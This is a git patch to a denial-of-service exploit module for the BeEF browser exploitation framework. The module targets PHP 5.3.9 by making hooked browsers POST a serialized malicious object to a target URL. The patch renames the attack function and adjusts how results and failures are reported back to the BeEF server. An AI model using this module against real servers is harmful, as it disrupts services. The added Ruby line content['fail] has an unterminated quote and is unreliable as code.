From 704b9790545ec8b61e30b3e07f05fa16104b8813 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 26 May 2013 02:48:04 +0930 Subject: [PATCH] minor syntax changes to php-5.3.9-dos module --- modules/exploits/php-5.3.9-dos/command.js | 8 ++++---- modules/exploits/php-5.3.9-dos/module.rb | 3 ++- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/php-5.3.9-dos/command.js b/modules/exploits/php-5.3.9-dos/command.js index d8a534aa2..ead546736 100644 --- a/modules/exploits/php-5.3.9-dos/command.js +++ b/modules/exploits/php-5.3.9-dos/command.js @@ -32,7 +32,7 @@ function serializeObj (obj) { } // Run attack -function attackSite (target_url) { +function php_dos (target_url) { var bad = serializeObj(createEvilObj()); var xhr = new XMLHttpRequest(); xhr.open("POST", target_url, true); @@ -42,10 +42,10 @@ function attackSite (target_url) { } try { - attackSite("<%= @url %>"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=request sent"); + php_dos("<%= @url %>"); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=DoS request sent"); } catch (e) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=request failed&error="+e.toString()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "fail=request failed with error: "+e.toString()); } }); diff --git a/modules/exploits/php-5.3.9-dos/module.rb b/modules/exploits/php-5.3.9-dos/module.rb index a10bcf9b4..1ae637ae4 100644 --- a/modules/exploits/php-5.3.9-dos/module.rb +++ b/modules/exploits/php-5.3.9-dos/module.rb @@ -13,7 +13,8 @@ class Php_dos < BeEF::Core::Command def post_execute content = {} - content['result'] = @datastore['result'] + content['result'] = @datastore['result'] if not @datastore['result'].nil? + content['fail] = @datastore['fail'] if not @datastore['fail'].nil? save content end